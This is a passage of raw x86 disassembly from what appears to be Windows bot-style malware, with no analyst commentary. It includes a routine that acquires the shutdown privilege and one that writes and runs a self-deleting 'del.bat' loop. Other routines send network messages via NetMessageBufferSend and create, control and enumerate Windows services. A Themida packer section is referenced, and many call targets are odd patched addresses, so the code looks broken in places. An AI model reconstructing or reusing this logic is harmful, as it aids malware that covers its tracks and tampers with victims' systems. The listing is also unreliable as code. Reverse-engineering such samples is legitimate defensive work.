		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CB584
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418338	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41835A	proc near		; CODE XREF: sub_401ACD+2755p
					; ___:0041686Cp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837E
		cmp	dword_4CB714, esi
		jnz	short loc_41837E
		push	esi
		call	sub_401000
		pop	ecx


loc_41837E:				; CODE XREF: sub_41835A+13j
					; sub_41835A+1Bj
		call	sub_40B2C0
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 26C0000h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 273093Bh
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DE
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 2720000h
		push	edi
		nop
		call	near ptr 26809B4h
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_43D7F8
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 26A0EDDh
		push	eax
		nop
		call	near ptr 2690000h
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 26A0D79h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418486
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 26A0C38h


loc_418486:				; CODE XREF: sub_41835A+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2850000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2680CABh


loc_4184DE:				; CODE XREF: sub_41835A+72j
		pop	edi
		pop	esi
		leave
		retn
sub_41835A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E2	proc near		; CODE XREF: sub_401ACD+7233p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 2700000h
		nop
		cmp	[ebp+var_84], 2
		jnz	short loc_418578
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CB5C4
		push	edi
		push	eax
		call	dword_4CB5D4
		test	eax, eax
		jz	short loc_41856A
		push	[ebp+arg_10]
		push	offset dword_439064


loc_418543:				; CODE XREF: sub_4184E2+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h
		jmp	short loc_4185A2
; ---------------------------------------------------------------------------


loc_41856A:				; CODE XREF: sub_4184E2+57j
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_43903C
		jmp	short loc_418543
; ---------------------------------------------------------------------------


loc_418578:				; CODE XREF: sub_4184E2+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_43900C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 1Ch


loc_4185A2:				; CODE XREF: sub_4184E2+86j
		pop	edi
		leave
		retn
sub_4184E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185A5	proc near		; CODE XREF: sub_401ACD+55FFp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 2700000h
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FB
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E4
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FB
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185E4:				; CODE XREF: sub_4185A5+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F6
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FB


loc_4185F6:				; CODE XREF: sub_4185A5+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185FB:				; CODE XREF: sub_4185A5+27j
					; sub_4185A5+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 26C0C66h
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		nop
		call	near ptr 26D0000h
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41D817
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 27D03B2h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418685	proc near		; CODE XREF: sub_40111D+F7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 26B07C3h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4276F8
		call	sub_41C798
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418685	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C2	proc near		; CODE XREF: sub_401ACD:loc_406127p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_41871A
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_439088[esi]
		push	edi
		push	eax
		call	sub_41873C
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41870A
		push	edi
		push	off_439084[esi]
		push	offset unk_439198


loc_4186FA:				; CODE XREF: sub_4186C2+56j
		mov	esi, offset dword_4DB6C0
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418737
; ---------------------------------------------------------------------------


loc_41870A:				; CODE XREF: sub_4186C2+2Aj
		push	eax
		call	sub_4187DE
		pop	ecx
		push	eax
		push	edi
		push	offset unk_43916C
		jmp	short loc_4186FA
; ---------------------------------------------------------------------------


loc_41871A:				; CODE XREF: sub_4186C2+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DB6C0
		push	off_439080[eax*4]
		push	offset unk_439148
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418737:				; CODE XREF: sub_4186C2+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873C	proc near		; CODE XREF: sub_4186C2+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CB638
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418763
		nop
		call	near ptr 26A08B1h
		mov	ebx, eax
		jmp	short loc_4187D8
; ---------------------------------------------------------------------------


loc_418763:				; CODE XREF: sub_41873C+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CB520
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418783
		nop
		call	near ptr 26A08B1h
		mov	ebx, eax
		jmp	short loc_4187D0
; ---------------------------------------------------------------------------


loc_418783:				; CODE XREF: sub_41873C+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B6
		cmp	eax, 3
		jz	short loc_4187A7
		jle	short loc_4187C9
		cmp	eax, 6
		jg	short loc_4187C9
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CB58C
		jmp	short loc_4187BD
; ---------------------------------------------------------------------------


loc_4187A7:				; CODE XREF: sub_41873C+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CB528
		jmp	short loc_4187BD
; ---------------------------------------------------------------------------


loc_4187B6:				; CODE XREF: sub_41873C+4Dj
		push	esi
		call	dword_4CB590


loc_4187BD:				; CODE XREF: sub_41873C+69j
					; sub_41873C+78j
		test	eax, eax
		jnz	short loc_4187C9
		nop
		call	near ptr 26A08B1h
		mov	ebx, eax


loc_4187C9:				; CODE XREF: sub_41873C+54j
					; sub_41873C+59j ...
		push	esi
		call	dword_4CB53C


loc_4187D0:				; CODE XREF: sub_41873C+45j
		push	edi
		call	dword_4CB53C
		pop	esi


loc_4187D8:				; CODE XREF: sub_41873C+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DE	proc near		; CODE XREF: sub_4186C2+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418893
		jz	loc_41888C
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418856
		jz	short loc_41884C
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418842
		dec	ecx
		dec	ecx
		jz	short loc_418838
		dec	ecx
		jz	short loc_41882E
		sub	ecx, 51h
		jz	short loc_418824
		sub	ecx, 24h
		jnz	loc_418909	; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418824:				; CODE XREF: sub_4187DE+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_41882E:				; CODE XREF: sub_4187DE+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418838:				; CODE XREF: sub_4187DE+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418842:				; CODE XREF: sub_4187DE+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_41884C:				; CODE XREF: sub_4187DE+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418856:				; CODE XREF: sub_4187DE+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418885
		dec	ecx
		jz	short loc_41887E
		dec	ecx
		jz	short loc_418877
		dec	ecx
		jnz	loc_418909	; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418877:				; CODE XREF: sub_4187DE+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_41887E:				; CODE XREF: sub_4187DE+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_418885:				; CODE XREF: sub_4187DE+80j
					; DATA XREF: Themida_:005A40A6o ...
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_41888C:				; CODE XREF: sub_4187DE+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_418893:				; CODE XREF: sub_4187DE+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418909 ; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F6
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418909 ; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_41894A[ecx]
		jmp	off_418922[ecx*4] ; switch jump


loc_4188B7:				; DATA XREF: ___:off_418922o
		push	offset aTheSpecifiedDa ; jumptable 004188B0 case 7
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188BE:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceDepe ; jumptable 004188B0 case 17
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188C5:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceDe_0 ; jumptable 004188B0 case 10
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188CC:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceHasB ; jumptable 004188B0 case 0
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188D3:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheSpecified_0 ; jumptable 004188B0 case 2
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188DA:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceCoul ; jumptable 004188B0 case 11
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188E1:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceHa_0 ; jumptable 004188B0 case 14
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188E8:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheRequested_1 ; jumptable 004188B0 case 3
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188EF:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceHasN ; jumptable 004188B0 case 4
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188F6:				; CODE XREF: sub_4187DE+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_4188FB:				; CODE XREF: sub_4187DE+41j
					; sub_4187DE+4Bj ...
		push	offset dword_4DB000
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41891C
; ---------------------------------------------------------------------------


loc_418909:				; CODE XREF: sub_4187DE+36j
					; sub_4187DE+89j ...
		push	eax		; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DB000
		call	sub_41B886
		add	esp, 0Ch


loc_41891C:				; CODE XREF: sub_4187DE+129j
		mov	eax, offset dword_4DB000
		retn
sub_4187DE	endp

; ---------------------------------------------------------------------------
off_418922	dd offset loc_4188CC	; DATA XREF: sub_4187DE+D2r
		dd offset loc_4188D3	; jump table for switch	statement
		dd offset loc_4188E8
		dd offset loc_4188EF
		dd offset loc_4188B7
		dd offset loc_4188C5
		dd offset loc_4188DA
		dd offset loc_4188E1
		dd offset loc_4188BE
		dd offset loc_418909
byte_41894A	db	0,     9,     1,     2 ; DATA XREF: sub_4187DE+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41895C	proc near		; CODE XREF: sub_401ACD+45D4p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CB638
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_418994:				; CODE XREF: sub_41895C+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CB604
		test	eax, eax
		jnz	short loc_4189CE
		call	near ptr 26A08B1h
		nop
		cmp	eax, 0EAh
		jnz	loc_418A82


loc_4189CE:				; CODE XREF: sub_41895C+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A79
		lea	esi, [ebp+var_188]


loc_4189DF:				; CODE XREF: sub_41895C+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A28
		dec	eax
		jz	short loc_418A21
		dec	eax
		jz	short loc_418A1A
		dec	eax
		jz	short loc_418A13
		dec	eax
		jz	short loc_418A0C
		dec	eax
		jz	short loc_418A05
		dec	eax
		jz	short loc_4189FE
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_4189FE:				; CODE XREF: sub_41895C+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A05:				; CODE XREF: sub_41895C+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A0C:				; CODE XREF: sub_41895C+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A13:				; CODE XREF: sub_41895C+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A1A:				; CODE XREF: sub_41895C+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A21:				; CODE XREF: sub_41895C+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A28:				; CODE XREF: sub_41895C+87j
		push	offset aStopped	; "    Stopped"


loc_418A2D:				; CODE XREF: sub_41895C+A0j
					; sub_41895C+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DF


loc_418A79:				; CODE XREF: sub_41895C+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418994


loc_418A82:				; CODE XREF: sub_41895C+6Cj
		push	[ebp+var_C]
		call	dword_4CB53C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A99	proc near		; CODE XREF: sub_401ACD:loc_406167p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418B33
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC2
		dec	eax
		jnz	short loc_418B13
		push	edi
		push	0
		call	sub_418C6C
		pop	ecx
		pop	ecx
		jmp	short loc_418B0F
; ---------------------------------------------------------------------------


loc_418AC2:				; CODE XREF: sub_418A99+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B01
		push	24h
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B01
		push	57h
		pop	eax


loc_418AD9:				; CODE XREF: sub_418A99+78j
		push	eax
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB2BC
		push	off_439080[eax*4]
		push	offset unk_43972C
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418B53
; ---------------------------------------------------------------------------


loc_418B01:				; CODE XREF: sub_418A99+2Dj
					; sub_418A99+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418BC0
		add	esp, 0Ch


loc_418B0F:				; CODE XREF: sub_418A99+27j
		test	eax, eax
		jnz	short loc_418AD9


loc_418B13:				; CODE XREF: sub_418A99+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB2BC
		push	off_439084[eax*4]
		push	offset dword_439710
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418B53
; ---------------------------------------------------------------------------


loc_418B33:				; CODE XREF: sub_418A99+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB2BC
		lea	eax, [eax+eax*2]
		push	off_439080[eax*4]
		push	offset unk_4396EC
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418B53:				; CODE XREF: sub_418A99+66j
					; sub_418A99+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A99	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B59	proc near		; CODE XREF: sub_419E7A+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B66
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418B66:				; CODE XREF: sub_418B59+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DB4BC, 1
		mov	ebp, eax
		jnz	short loc_418BA3
		or	byte_4DB4BC, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	dword_4DB25C, eax


loc_418BA3:				; CODE XREF: sub_418B59+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DB25C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DB25C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BC0	proc near		; CODE XREF: sub_418A99+6Ep
					; sub_41A19E+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2B
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2B
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41BFB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2B
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CB538
		pop	edi
		leave
		retn
sub_418BC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2B	proc near		; CODE XREF: sub_418BC0+Ap
					; sub_418BC0+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C38
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418C38:				; CODE XREF: sub_418C2B+9j
		push	ebx
		push	esi
		mov	esi, dword_427180
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6C	proc near		; CODE XREF: sub_418A99+20p
					; sub_419E7A+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2B
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2B
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CB510
		pop	esi
		retn
sub_418C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8F	proc near		; CODE XREF: sub_401ACD+46B1p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418C2B
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
